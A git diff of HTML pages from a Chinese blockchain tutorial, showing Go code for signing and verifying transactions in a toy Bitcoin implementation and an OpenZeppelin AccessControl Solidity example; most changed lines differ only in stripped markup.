    pubKeyHash := HashPubKey(wallet.PublicKey) - //第二步:查找可用的utxo,注意此时传递的不再是地址,而是地址的公钥哈希:pubKeyHash - validUTXOs /*本次支付所需要的utxo的集合*/ , total /*返回utxos所包含的金额*/ = bc.FindSuitableUTXOs(pubKeyHash, amount) + //第二步:查找可用的utxo,注意此时传递的不再是地址,而是地址的公钥哈希:pubKeyHash + validUTXOs /*本次支付所需要的utxo的集合*/ , total /*返回utxos所包含的金额*/ = bc.FindSuitableUTXOs(pubKeyHash, amount) ... - //第三步:创建输入 - //调整input的参数,签名填nil,后面会有签名函数负责填充 - input := TXInput{[]byte(txid), index, nil, wallet.PublicKey /*这里千万别错误的填哈希值,这是个坑啊!!*/} + //第三步:创建输入 + //调整input的参数,签名填nil,后面会有签名函数负责填充 + input := TXInput{[]byte(txid), index, nil, wallet.PublicKey /*这里千万别错误的填哈希值,这是个坑啊!!*/} ... - //第四步:创建输出(付款,找零) - //调用函数生成新的output + //第四步:创建输出(付款,找零) + //调用函数生成新的output output := NewTXOutput(amount, to) - outputs = append(outputs, *output) + outputs = append(outputs, *output) - if total > amount { - //找零 + if total > amount { + //找零 output = NewTXOutput(total-amount, from) - outputs = append(outputs, *output) + outputs = append(outputs, *output) } - //第五步:使用私钥对交易进行签名 - //TODO + //第五步:使用私钥对交易进行签名 + //TODO }

    这是后就可以编译了,把FindSuitableUTXOs直接屏蔽掉

    3.更新FindSuitableUTXOs

    -
    func (bc *BlockChain) FindUTXOTransactions(pubKeyHash []byte) [] Transaction {
    -    //将对应的address替换成pubKeyHash即可
    +
    func (bc *BlockChain) FindUTXOTransactions(pubKeyHash []byte) [] Transaction {
    +    //将对应的address替换成pubKeyHash即可
     }
     

    同理更新FindSuitableUTXOs,FindUTXOs函数,同时修改GetBalance如下,将参数先设置为空,方便编译过

    -
    func (cli *CLI)GetBalance(address string)  {
    +
    func (cli *CLI)GetBalance(address string)  {
         ...
    -    //utxos := bc.FindUTXOs(address)
    -    utxos := bc.FindUTXOs([]byte{})
    +    //utxos := bc.FindUTXOs(address)
    +    utxos := bc.FindUTXOs([]byte{})
     }
     

    4.编译测试

    @@ -3187,56 +3183,56 @@

    5.获取余额

    代码如下:

    -
    func (cli *CLI) GetBalance(address string) {
    +
    func (cli *CLI) GetBalance(address string) {
         bc := GetBlockChainObj()
    -    defer bc.db.Close()
    +    defer bc.db.Close()
     
    -    //这里添加
    +    //这里添加
         checkAddress(address)
    -    //这里修改
    -    pubKeyHash := Base58Decode([]byte(address))
    -    pubKeyHash = pubKeyHash[1: len(pubKeyHash)-addressCheckSumLen]
    +    //这里修改
    +    pubKeyHash := Base58Decode([]byte(address))
    +    pubKeyHash = pubKeyHash[1: len(pubKeyHash)-addressCheckSumLen]
     
         utxos := bc.FindUTXOs(pubKeyHash)
     
    -    var total float64
    -    for _, utxo := range utxos {
    +    var total float64
    +    for _, utxo := range utxos {
             total += utxo.Value
         }
     
    -    fmt.Printf("The balance of %s is : %f\n", address, total)
    +    fmt.Printf("The balance of %s is : %f\n", address, total)
     }
     

    6. 校验地址的有效性

    -
    func isValidAddress(address string) bool {
    -    //1. 逆向求出pubKeyHash数据
    -    //2. 得到version + 哈希1 部分,并做checksum运算
    -    //3. 与实际checksum比较,如果相同,则地址有效,反之则无效
    +
    func isValidAddress(address string) bool {
    +    //1. 逆向求出pubKeyHash数据
    +    //2. 得到version + 哈希1 部分,并做checksum运算
    +    //3. 与实际checksum比较,如果相同,则地址有效,反之则无效
     
    -    pubKeyHash := Base58Decode([]byte(address))
    +    pubKeyHash := Base58Decode([]byte(address))
     
    -    //防止输入的过短引起下面访问越界
    -    if len(pubKeyHash) < 4 {
    -        return false
    +    //防止输入的过短引起下面访问越界
    +    if len(pubKeyHash) < 4 {
    +        return false
         }
     
    -    payload := pubKeyHash[:len(pubKeyHash)-4]
    -    actualCheckSum := pubKeyHash[len(pubKeyHash)-4:]
    -    fmt.Printf("actualCheckSum : %x\n", actualCheckSum)
    +    payload := pubKeyHash[:len(pubKeyHash)-4]
    +    actualCheckSum := pubKeyHash[len(pubKeyHash)-4:]
    +    fmt.Printf("actualCheckSum : %x\n", actualCheckSum)
     
         targetCheckSum := checksum(payload)
    -    fmt.Printf("targetCheckSum : %x\n", targetCheckSum)
    +    fmt.Printf("targetCheckSum : %x\n", targetCheckSum)
     
    -    return bytes.Compare(actualCheckSum, targetCheckSum) == 0
    +    return bytes.Compare(actualCheckSum, targetCheckSum) == 0
     }
     

    添加一个简单的校验函数,打印log

    -
    func checkAddress(address string) {
    -    if !isValidAddress(address) {
    -        fmt.Println("not valid address :", address)
    -        os.Exit(1)
    +
    func checkAddress(address string) {
    +    if !isValidAddress(address) {
    +        fmt.Println("not valid address :", address)
    +        os.Exit(1)
         }
    -    fmt.Println("valid address!")
    +    fmt.Println("valid address!")
     }
     

    6.创建区块链账本

    @@ -3276,7 +3272,7 @@

    8.小结

    @@ -3362,14 +3358,6 @@

    8.小结

    - - - - - - - - diff --git "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day5-01-v5\347\255\276\345\220\215.html" "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day5-01-v5\347\255\276\345\220\215.html" index 2f1418b9..8e96f471 100644 --- "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day5-01-v5\347\255\276\345\220\215.html" +++ "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/day5-01-v5\347\255\276\345\220\215.html" @@ -36,10 +36,6 @@ - - - - @@ -3058,79 +3054,79 @@

    - sign

  • 私钥
  • 无论是签名还是校验,一定要格外注意处理挖矿交易

    -
    func (tx *Transaction) Sign(privateKey ecdsa.PrivateKey, prevTXs map[string]Transaction) {
    -    fmt.Println("begin Sign ...")
    -    //挖矿交易不需要签名
    -    if tx.IsCoinbase() {
    -        return
    +
    func (tx *Transaction) Sign(privateKey ecdsa.PrivateKey, prevTXs map[string]Transaction) {
    +    fmt.Println("begin Sign ...")
    +    //挖矿交易不需要签名
    +    if tx.IsCoinbase() {
    +        return
         }
     
    -    fmt.Printf("====== Sign tx : %x ======\n", tx.TXID)
    +    fmt.Printf("====== Sign tx : %x ======\n", tx.TXID)
     
    -    //确保引用的交易都是有效的,tx中的每个input都应该对应一条交易
    -    for _, input := range tx.TXInputs {
    -        if prevTXs[string(input.TXID)].TXID == nil {
    -            //if prevTXs[hex.EncodeToString(input.TXID)].TXID == nil {
    -            log.Panic("Previous txs are not valid!")
    +    //确保引用的交易都是有效的,tx中的每个input都应该对应一条交易
    +    for _, input := range tx.TXInputs {
    +        if prevTXs[string(input.TXID)].TXID == nil {
    +            //if prevTXs[hex.EncodeToString(input.TXID)].TXID == nil {
    +            log.Panic("Previous txs are not valid!")
             }
         }
     
    -    //获取要签名的信息
    -    //我们对把当前的交易签名,然后存放到Signature中。
    -    //将当前的交易复制一份,然后做签名处理
    +    //获取要签名的信息
    +    //我们对把当前的交易签名,然后存放到Signature中。
    +    //将当前的交易复制一份,然后做签名处理
         txCopy := tx.TrimmedCopy()
     
    -    //再次强调一下我们要签名的三部分:
    -    //- 欲使用的utxo中的pubKeyHash(这描述了付款人)
    -    //- 新生成的utxo中的pubKeyHash(这描述了收款人)
    -    //- 转账金额
    +    //再次强调一下我们要签名的三部分:
    +    //- 欲使用的utxo中的pubKeyHash(这描述了付款人)
    +    //- 新生成的utxo中的pubKeyHash(这描述了收款人)
    +    //- 转账金额
     
    -    //注意,遍历的是txCopy,而不是tx本身
    -    for index, input := range txCopy.TXInputs {
    -        prevTX := prevTXs[string(input.TXID)]
    +    //注意,遍历的是txCopy,而不是tx本身
    +    for index, input := range txCopy.TXInputs {
    +        prevTX := prevTXs[string(input.TXID)]
     
    -        //使用input的PublicKey字段暂时存储一下这个想要解锁的utxo的公钥哈希
    -        //这里有个坑!!!
    -        //我一直使用input.PublicKey来赋值,但是其实range会复制一个新的变量,而不会修改你遍历的的txCopy, 这里一定要小心!!!,所以下面的这就要修改如下:
    -        //input.PublicKey = prevTX.TXOutputs[input.VoutIndex].PublicKeyHash
    +        //使用input的PublicKey字段暂时存储一下这个想要解锁的utxo的公钥哈希
    +        //这里有个坑!!!
    +        //我一直使用input.PublicKey来赋值,但是其实range会复制一个新的变量,而不会修改你遍历的的txCopy, 这里一定要小心!!!,所以下面的这就要修改如下:
    +        //input.PublicKey = prevTX.TXOutputs[input.VoutIndex].PublicKeyHash
             txCopy.TXInputs[index].PublicKey = prevTX.TXOutputs[input.VoutIndex].PublicKeyHash
    -        //至此三个想要签名的数据都有了, 如何签名?签名一般对数据的哈希值进行签名
    -        //要签名的哈希存放在txCopy.TXID中
    +        //至此三个想要签名的数据都有了, 如何签名?签名一般对数据的哈希值进行签名
    +        //要签名的哈希存放在txCopy.TXID中
             txCopy.setHash()
    -        //一定要赋值为nil,下面交易签名还要用的,虽然不用这个input了,但是它会污染其他交易
    -        //在校验过程时,也会生成txCopy,设置nil双方才能与生成一致的数据
    -        txCopy.TXInputs[index].PublicKey = nil
    -        fmt.Printf("data to sign (TXID) : %x\n", txCopy.TXID)
    +        //一定要赋值为nil,下面交易签名还要用的,虽然不用这个input了,但是它会污染其他交易
    +        //在校验过程时,也会生成txCopy,设置nil双方才能与生成一致的数据
    +        txCopy.TXInputs[index].PublicKey = nil
    +        fmt.Printf("data to sign (TXID) : %x\n", txCopy.TXID)
     
             r, s, err := ecdsa.Sign(rand.Reader, &privateKey, txCopy.TXID)
    -        if err != nil {
    -            fmt.Println("ecdsa.Sign failed!")
    +        if err != nil {
    +            fmt.Println("ecdsa.Sign failed!")
                 log.Panic(err)
             }
     
    -    //将得到的r,s拼接成[]byte,放在signature中
    -        signature := append(r.Bytes(), s.Bytes()...)
    -        //tx的索引和txCopy的是一致的
    +    //将得到的r,s拼接成[]byte,放在signature中
    +        signature := append(r.Bytes(), s.Bytes()...)
    +        //tx的索引和txCopy的是一致的
             tx.TXInputs[index].Signature = signature
    -        fmt.Printf("signature : %x\n", signature)
    +        fmt.Printf("signature : %x\n", signature)
         }
     }
     

    TrimmedCopy函数

    -
    func (tx *Transaction) TrimmedCopy() Transaction {
    -    var inputs []TXInput
    -    var outputs []TXOutput
    +
    func (tx *Transaction) TrimmedCopy() Transaction {
    +    var inputs []TXInput
    +    var outputs []TXOutput
     
    -    for _, input := range tx.TXInputs {
    -        inputs = append(inputs, TXInput{input.TXID, input.VoutIndex, nil, nil})
    +    for _, input := range tx.TXInputs {
    +        inputs = append(inputs, TXInput{input.TXID, input.VoutIndex, nil, nil})
         }
     
    -    for _, output := range tx.TXOutputs {
    -        outputs = append(outputs, TXOutput{output.Value, output.PublicKeyHash})
    +    for _, output := range tx.TXOutputs {
    +        outputs = append(outputs, TXOutput{output.Value, output.PublicKeyHash})
         }
     
         txCopy := Transaction{tx.TXID, inputs, outputs}
    -    return txCopy
    +    return txCopy
     }
     

    在NewTransaction的最后,使用私钥对其进行签名。

    @@ -3138,19 +3134,19 @@

    - sign

    在SignTransaction内部再调用Sign函数。

    image-20221108142857808

    - SignTransaction

    -
    func (bc *BlockChain) SignTransaction(tx *Transaction, privateKey ecdsa.PrivateKey) {
    -    //寻找所引用的交易数组
    -    //调用tx.Sign进行签名
    +
    func (bc *BlockChain) SignTransaction(tx *Transaction, privateKey ecdsa.PrivateKey) {
    +    //寻找所引用的交易数组
    +    //调用tx.Sign进行签名
     
    -    prevTXs := make(map[string]Transaction)
    -    for _, input := range tx.TXInputs {
    +    prevTXs := make(map[string]Transaction)
    +    for _, input := range tx.TXInputs {
             prevTX, err := bc.FindTransaction(input.TXID)
    -        if err != nil {
    +        if err != nil {
                 log.Panic(err)
             }
     
    -    //这里一定要注意,不是tx.TXID,小心掉坑
    -        prevTXs[string(prevTX.TXID)] = prevTX
    +    //这里一定要注意,不是tx.TXID,小心掉坑
    +        prevTXs[string(prevTX.TXID)] = prevTX
         }
     
         tx.Sign(privateKey, prevTXs)
    @@ -3158,22 +3154,22 @@ 

    - SignTransaction

    - FindTransaction

    通过交易id返回交易结构

    -
    func (bc *BlockChain) FindTransaction(txid []byte) (Transaction, error) {
    +
    func (bc *BlockChain) FindTransaction(txid []byte) (Transaction, error) {
         it := NewBlockChainIterator(bc)
    -    for {
    +    for {
             block := it.GetBlockAndMoveLeft()
    -        for _, tx := range block.Transactions {
    -            if bytes.Compare(txid, tx.TXID) == 0 {
    -                return *tx, nil
    +        for _, tx := range block.Transactions {
    +            if bytes.Compare(txid, tx.TXID) == 0 {
    +                return *tx, nil
                 }
             }
     
    -        if len(block.PrevBlockHash) == 0 {
    -            break
    +        if len(block.PrevBlockHash) == 0 {
    +            break
             }
         }
     
    -    return Transaction{}, errors.New("Transaction not found!")
    +    return Transaction{}, errors.New("Transaction not found!")
     }
     

    - 测试

    @@ -3193,114 +3189,114 @@

    - 分析

    代码如下:

    校验函数原型如下,由于交易中已经存储了数字签名公钥,所以只需要将引用的交易传递进来即可(为了获取引用输出的公钥哈希)

    -
    func (tx *Transaction) Verify(prevTXs map[string]Transaction) bool {
    -    return true
    +
    func (tx *Transaction) Verify(prevTXs map[string]Transaction) bool {
    +    return true
     }
     

    那这个交易由谁在何处调用呢?

    答案是:我们要在挖矿之前进行验证,确保只有正确有效的交易才会被打包

    -
    func (bc *BlockChain) AddBlock(txs []*Transaction) {
    +
    func (bc *BlockChain) AddBlock(txs []*Transaction) {
         ...
    -    //创建新区块
    +    //创建新区块
         newBlock := NewBlock(txs, lastBlockHash)
     
    -    for _, tx := range txs {
    -        if !bc.VerifyTransaction(tx) {
    -            log.Panic("Error : invalid transaction found!")
    +    for _, tx := range txs {
    +        if !bc.VerifyTransaction(tx) {
    +            log.Panic("Error : invalid transaction found!")
             }
         }
         ...
     }
     

    交易函数很简单,同SignTransaction

    -
    func (bc *BlockChain) VerifyTransaction(tx *Transaction) bool {
    -    //必须加上这句校验,否则在FindTranction中就会报错,因为coinbase所引用的input的id为nil
    -    if tx.IsCoinbase() {
    -        fmt.Println("VerifyTransaction conibase found!")
    -        return true
    +
    func (bc *BlockChain) VerifyTransaction(tx *Transaction) bool {
    +    //必须加上这句校验,否则在FindTranction中就会报错,因为coinbase所引用的input的id为nil
    +    if tx.IsCoinbase() {
    +        fmt.Println("VerifyTransaction conibase found!")
    +        return true
         }
     
    -    prevTXs := make(map[string]Transaction)
    +    prevTXs := make(map[string]Transaction)
     
    -    for _, input := range tx.TXInputs {
    -        fmt.Printf("input.TXID: %x\n", input.TXID)
    +    for _, input := range tx.TXInputs {
    +        fmt.Printf("input.TXID: %x\n", input.TXID)
             prevTX, err := bc.FindTransaction(input.TXID)
    -        if err != nil {
    +        if err != nil {
                 log.Panic(err)
             }
     
    -        prevTXs[string(prevTX.TXID)] = prevTX
    -        //fmt.Printf("string(prevTX.TXID): %x", string(prevTX.TXID))
    +        prevTXs[string(prevTX.TXID)] = prevTX
    +        //fmt.Printf("string(prevTX.TXID): %x", string(prevTX.TXID))
         }
     
    -    return tx.Verify(prevTXs)
    +    return tx.Verify(prevTXs)
     }
     

    编译一下,没有问题,接下来实现Verify函数

    - Verify

    -
    func (tx *Transaction) Verify(prevTXs map[string]Transaction) bool {
    -    fmt.Println("begin Verify ...")
    -    if tx.IsCoinbase() {
    -        return true
    +
    func (tx *Transaction) Verify(prevTXs map[string]Transaction) bool {
    +    fmt.Println("begin Verify ...")
    +    if tx.IsCoinbase() {
    +        return true
         }
     
    -    fmt.Printf("====== Verify tx : %x ======\n", tx.TXID)
    +    fmt.Printf("====== Verify tx : %x ======\n", tx.TXID)
     
    -    for _, input := range tx.TXInputs {
    -        if prevTXs[string(input.TXID)].TXID == nil {
    -            log.Panic("previous transaction is not valid!")
    +    for _, input := range tx.TXInputs {
    +        if prevTXs[string(input.TXID)].TXID == nil {
    +            log.Panic("previous transaction is not valid!")
             }
         }
     
    -    //为了获取原始的签名数据
    +    //为了获取原始的签名数据
         txCopy := tx.TrimmedCopy()
     
    -    //获取签名的原始数据(一个哈希值),与签名时步骤一样
    -    //签名时对每一个引用的input都签名,校验也一定是对每一个input都校验
    -    //这里要注意for循环的对象,应该是原始的inputs结构,而不应该是copy过来的那个
    -  //与Sign时遍历的不同    
    -    for index, input := range tx.TXInputs {
    -        prevTX := prevTXs[string(input.TXID)]
    -        //这个可以为了确保为空再设置一次nil
    -        txCopy.TXInputs[index].Signature = nil
    +    //获取签名的原始数据(一个哈希值),与签名时步骤一样
    +    //签名时对每一个引用的input都签名,校验也一定是对每一个input都校验
    +    //这里要注意for循环的对象,应该是原始的inputs结构,而不应该是copy过来的那个
    +  //与Sign时遍历的不同    
    +    for index, input := range tx.TXInputs {
    +        prevTX := prevTXs[string(input.TXID)]
    +        //这个可以为了确保为空再设置一次nil
    +        txCopy.TXInputs[index].Signature = nil
             txCopy.TXInputs[index].PublicKey = prevTX.TXOutputs[input.VoutIndex].PublicKeyHash
             txCopy.setHash()
     
    -    //这个也可以再次置空,不过不需要,因为每一个index对应的input只使用一次(这是错误的理解)
    -    //之所尚未出错,因为我们现在都只引用一个交易就完成了,没校验多个input
    -    //一定要设置,否则会影响其他交易的校验
    -        txCopy.TXInputs[index].PublicKey = nil
    +    //这个也可以再次置空,不过不需要,因为每一个index对应的input只使用一次(这是错误的理解)
    +    //之所尚未出错,因为我们现在都只引用一个交易就完成了,没校验多个input
    +    //一定要设置,否则会影响其他交易的校验
    +        txCopy.TXInputs[index].PublicKey = nil
     
    -        //处理签名
    +        //处理签名
             r := big.Int{}
             s := big.Int{}
     
    -        sigLen := len(input.Signature)
    +        sigLen := len(input.Signature)
     
    -    //查看签名的原始数据
    -    fmt.Printf("data to Verify (TXID): %x\n", txCopy.TXID)
    -        //确保签名是一致的
    -        fmt.Printf("verify Signature: %x\n", input.Signature)
    +    //查看签名的原始数据
    +    fmt.Printf("data to Verify (TXID): %x\n", txCopy.TXID)
    +        //确保签名是一致的
    +        fmt.Printf("verify Signature: %x\n", input.Signature)
     
    -        r.SetBytes(input.Signature[:(sigLen / 2)])
    -        s.SetBytes(input.Signature[(sigLen / 2):])
    +        r.SetBytes(input.Signature[:(sigLen / 2)])
    +        s.SetBytes(input.Signature[(sigLen / 2):])
     
    -        //处理公钥
    +        //处理公钥
             x := big.Int{}
             y := big.Int{}
    -        keyLen := len(input.PublicKey)
    -        x.SetBytes(input.PublicKey[:(keyLen / 2)])
    -        y.SetBytes(input.PublicKey[(keyLen / 2):])
    +        keyLen := len(input.PublicKey)
    +        x.SetBytes(input.PublicKey[:(keyLen / 2)])
    +        y.SetBytes(input.PublicKey[(keyLen / 2):])
     
             curve := elliptic.P256()
             rawPubKey := ecdsa.PublicKey{curve, &x, &y}
     
    -        if !ecdsa.Verify(&rawPubKey, txCopy.TXID, &r, &s) {
    -            return false
    +        if !ecdsa.Verify(&rawPubKey, txCopy.TXID, &r, &s) {
    +            return false
             }
         }
     
    -    return true
    +    return true
     }
     

    - 测试

    @@ -3309,115 +3305,115 @@

    - 测试

    三、打印命令

    - 结构体的String()

    如果结构体实现了String()这个方法,那么fmt默认会调用String()。

    -
    package main
    +
    package main
     
    -import "fmt"
    +import "fmt"
     
    -type Test struct {
    -    s string
    +type Test struct {
    +    s string
     }
     
    -func (t *Test) String() string{
    -    return fmt.Sprintf("hello world: %s\n", t.s)
    +func (t *Test) String() string{
    +    return fmt.Sprintf("hello world: %s\n", t.s)
     }
     
    -func main() {
    -    n := Test{s:"你好"}
    -    fmt.Println(&n) //hello world:
    +func main() {
    +    n := Test{s:"你好"}
    +    fmt.Println(&n) //hello world:
     }
     

    - 更新代码

    -
    func (cli *CLI) printChain() {
    +
    func (cli *CLI) printChain() {
     
    -    //定义迭代器
    -    //it := NewBlockChainIterator(cli.bc)
    +    //定义迭代器
    +    //it := NewBlockChainIterator(cli.bc)
         bc := GetBlockChainObj()
         it := NewBlockChainIterator(bc)
    -    for {
    +    for {
     
             block := it.GetBlockAndMoveLeft()
     
    -        fmt.Printf(" ============== Block %x============\n", block.Hash)
    +        fmt.Printf(" ============== Block %x============\n", block.Hash)
             pow := NewProofOfWork(block)
    -        fmt.Printf("IsValid : %v\n", pow.IsValid())
    +        fmt.Printf("IsValid : %v\n", pow.IsValid())
     
    -        for _, tx := range block.Transactions {
    +        for _, tx := range block.Transactions {
                 fmt.Println(tx)
             }
     
    -        if len(block.PrevBlockHash) == 0 {
    -            fmt.Println("print over!")
    -            break
    +        if len(block.PrevBlockHash) == 0 {
    +            fmt.Println("print over!")
    +            break
             }
         }
     }
     

    在Transaction结构中,添加如下函数:

    -
    func (tx Transaction) String() string {
    -    var lines []string
    +
    func (tx Transaction) String() string {
    +    var lines []string
     
    -    lines = append(lines, fmt.Sprintf("--- Transaction %x:", tx.TXID))
    +    lines = append(lines, fmt.Sprintf("--- Transaction %x:", tx.TXID))
     
    -    for i, input := range tx.TXInputs {
    +    for i, input := range tx.TXInputs {
     
    -        lines = append(lines, fmt.Sprintf("     Input %d:", i))
    -        lines = append(lines, fmt.Sprintf("       TXID:      %x", input.TXID))
    -        lines = append(lines, fmt.Sprintf("       Out:       %d", input.VoutIndex))
    -        lines = append(lines, fmt.Sprintf("       Signature: %x", input.Signature))
    -        lines = append(lines, fmt.Sprintf("       PubKey:    %x", input.PublicKey))
    +        lines = append(lines, fmt.Sprintf("     Input %d:", i))
    +        lines = append(lines, fmt.Sprintf("       TXID:      %x", input.TXID))
    +        lines = append(lines, fmt.Sprintf("       Out:       %d", input.VoutIndex))
    +        lines = append(lines, fmt.Sprintf("       Signature: %x", input.Signature))
    +        lines = append(lines, fmt.Sprintf("       PubKey:    %x", input.PublicKey))
         }
     
    -    for i, output := range tx.TXOutputs{
    -        lines = append(lines, fmt.Sprintf("     Output %d:", i))
    -        lines = append(lines, fmt.Sprintf("       Value:  %f", output.Value))
    -        lines = append(lines, fmt.Sprintf("       Script: %x", output.PublicKeyHash))
    +    for i, output := range tx.TXOutputs{
    +        lines = append(lines, fmt.Sprintf("     Output %d:", i))
    +        lines = append(lines, fmt.Sprintf("       Value:  %f", output.Value))
    +        lines = append(lines, fmt.Sprintf("       Script: %x", output.PublicKeyHash))
         }
     
    -    return strings.Join(lines, "\n")
    +    return strings.Join(lines, "\n")
     }
     

    - 测试

    与比特币核心类似

    image-20221108142942576

    - Transaction 添加String()方法

    -
    func (tx Transaction) String() string {
    -    var lines []string
    +
    func (tx Transaction) String() string {
    +    var lines []string
     
    -    lines = append(lines, fmt.Sprintf("--- Transaction %x:", tx.TxId))
    +    lines = append(lines, fmt.Sprintf("--- Transaction %x:", tx.TxId))
     
    -    for i, input := range tx.TXInputs {
    +    for i, input := range tx.TXInputs {
     
    -        lines = append(lines, fmt.Sprintf("     Input %d:", i))
    -        lines = append(lines, fmt.Sprintf("       TXID:      %x", input.TXID))
    -        lines = append(lines, fmt.Sprintf("       Out:       %d", input.Index))
    -        lines = append(lines, fmt.Sprintf("       Signature: %x", input.Signature))
    -        lines = append(lines, fmt.Sprintf("       PubKey:    %x", input.PubKey))
    +        lines = append(lines, fmt.Sprintf("     Input %d:", i))
    +        lines = append(lines, fmt.Sprintf("       TXID:      %x", input.TXID))
    +        lines = append(lines, fmt.Sprintf("       Out:       %d", input.Index))
    +        lines = append(lines, fmt.Sprintf("       Signature: %x", input.Signature))
    +        lines = append(lines, fmt.Sprintf("       PubKey:    %x", input.PubKey))
         }
     
    -    for i, output := range tx.TXOutputs {
    -        lines = append(lines, fmt.Sprintf("     Output %d:", i))
    -        lines = append(lines, fmt.Sprintf("       Value:  %f", output.Value))
    -        lines = append(lines, fmt.Sprintf("       Script: %x", output.PubKeyHash))
    +    for i, output := range tx.TXOutputs {
    +        lines = append(lines, fmt.Sprintf("     Output %d:", i))
    +        lines = append(lines, fmt.Sprintf("       Value:  %f", output.Value))
    +        lines = append(lines, fmt.Sprintf("       Script: %x", output.PubKeyHash))
         }
     
    -    return strings.Join(lines, "\n")
    +    return strings.Join(lines, "\n")
     }
     

    - 增加printTx命令

    -
    func (bc *BlockChain) PrintTx() {
    +
    func (bc *BlockChain) PrintTx() {
     
         it := bc.NewIterator()
     
    -    for {
    +    for {
             block := it.Next()
    -        fmt.Printf("+++++++++++++++++++++++++++++++++++++\n")
    +        fmt.Printf("+++++++++++++++++++++++++++++++++++++\n")
     
    -        for _, tx := range block.Transactions {
    -            fmt.Printf("tx : %v\n", tx)
    +        for _, tx := range block.Transactions {
    +            fmt.Printf("tx : %v\n", tx)
             }
     
    -        if len(block.PrevBlockHash) == 0 {
    -            break
    +        if len(block.PrevBlockHash) == 0 {
    +            break
             }
     
         }
    @@ -3450,7 +3446,7 @@ 

    - 增加printTx命令

    @@ -3536,14 +3532,6 @@

    - 增加printTx命令

    - - - - - - - - diff --git "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/index.html" "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/index.html" index 83e4145e..a48f006f 100644 --- "a/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/index.html" +++ "b/cn/11_\347\262\276\351\200\232\346\257\224\347\211\271\345\270\201/index.html" @@ -36,10 +36,6 @@ - - - - @@ -3053,7 +3049,7 @@

    安装

    go mod tidy

    编译

    -
    # ./build.sh
    +
    # ./build.sh
     go build -o blockchain *.go
     

    运行

    @@ -3081,7 +3077,7 @@

    转账

    1EiLdWg278u261DNs5Vb2Wyh7opscWvV6G \ 1Q2DT2JithztxChbLhzEUTShrv78EW3duo \ 5 1NkNkQUYXWwrw3ewNw3XSdMjdv5keVK1L3 \ - "send 5 btc" + "send 5 btc"

    send

    打印交易

    @@ -3118,7 +3114,7 @@

    小结

    @@ -3204,14 +3200,6 @@

    小结

    - - - - - - - - diff --git "a/cn/12_\347\262\276\351\200\232\344\273\245\345\244\252\345\235\212/01_\344\273\245\345\244\252\345\235\212\346\236\266\346\236\204.html" "b/cn/12_\347\262\276\351\200\232\344\273\245\345\244\252\345\235\212/01_\344\273\245\345\244\252\345\235\212\346\236\266\346\236\204.html" index 15b061e5..01f60bec 100644 --- "a/cn/12_\347\262\276\351\200\232\344\273\245\345\244\252\345\235\212/01_\344\273\245\345\244\252\345\235\212\346\236\266\346\236\204.html" +++ "b/cn/12_\347\262\276\351\200\232\344\273\245\345\244\252\345\235\212/01_\344\273\245\345\244\252\345\235\212\346\236\266\346\236\204.html" @@ -36,10 +36,6 @@ - - - - @@ -3054,7 +3050,7 @@

    以太坊架构

    @@ -3140,14 +3136,6 @@

    以太坊架构

    - - - - - - - - diff --git "a/cn/12_\347\262\276\351\200\232\344\273\245\345\244\252\345\235\212/index.html" "b/cn/12_\347\262\276\351\200\232\344\273\245\345\244\252\345\235\212/index.html" index 571c5e95..89647f23 100644 --- "a/cn/12_\347\262\276\351\200\232\344\273\245\345\244\252\345\235\212/index.html" +++ "b/cn/12_\347\262\276\351\200\232\344\273\245\345\244\252\345\235\212/index.html" @@ -36,10 +36,6 @@ - - - - @@ -3064,7 +3060,7 @@

    第12章:精通以太坊

    @@ -3150,14 +3146,6 @@

    第12章:精通以太坊

    - - - - - - - - diff --git "a/cn/13_openzeppelin\350\247\243\346\236\220/01_accessControl.html" "b/cn/13_openzeppelin\350\247\243\346\236\220/01_accessControl.html" index b1cd87db..2b20ccb5 100644 --- "a/cn/13_openzeppelin\350\247\243\346\236\220/01_accessControl.html" +++ "b/cn/13_openzeppelin\350\247\243\346\236\220/01_accessControl.html" @@ -36,10 +36,6 @@ - - - - @@ -3026,14 +3022,14 @@

    第1节:AccessControl

    其中,每一个Role都有自己的AdminRole,这个AdminRole可以对Role成员进行维护(增删),例如如下代码中,我们定义了一个权限 BITVERSE_ADMIN_ROLE

    并对它设置了管理员权限:DEFAULT_ADMIN_ROLE。

    -
    bytes32 private constant BITVERSE_ADMIN_ROLE = keccak256("BITVERSE_ADMIN");
    +
    bytes32 private constant BITVERSE_ADMIN_ROLE = keccak256("BITVERSE_ADMIN");
     
    -constructor() {
    -  // 将 BITVERSE_ADMIN_ROLE 的管理员权限设置为:BITVERSE_ADMIN_ROLE
    -  // 这个是默认的,任何ROLE的默认ADMIN_ROLE都是DEFAULT_ADMIN_ROLE,即:0x00
    +constructor() {
    +  // 将 BITVERSE_ADMIN_ROLE 的管理员权限设置为:BITVERSE_ADMIN_ROLE
    +  // 这个是默认的,任何ROLE的默认ADMIN_ROLE都是DEFAULT_ADMIN_ROLE,即:0x00
       _setRoleAdmin(BITVERSE_ADMIN_ROLE, DEFAULT_ADMIN_ROLE);
     
    -  // 给root地址添加DEFAULT_ADMIN_ROLE权限
    +  // 给root地址添加DEFAULT_ADMIN_ROLE权限
       _setupRole(DEFAULT_ADMIN_ROLE, root);
     }
     
    @@ -3047,21 +3043,21 @@

    第1节:AccessControl

  • DEFAULT_ADMIN_ROLE的member之一为root,即root可以管理BitVerseAdminRole下面的members,包括添加信member或者删除当前某个member
  • 使用方式:

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.9;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.9;
     
    -import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
    -import "@openzeppelin/contracts/access/AccessControl.sol";
    +import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
    +import "@openzeppelin/contracts/access/AccessControl.sol";
     
     contract MyToken is ERC20, AccessControl {
    -    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
    +    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
     
    -    constructor() ERC20("MyToken", "MTK") {
    +    constructor() ERC20("MyToken", "MTK") {
             _grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
             _grantRole(MINTER_ROLE, msg.sender);
         }
     
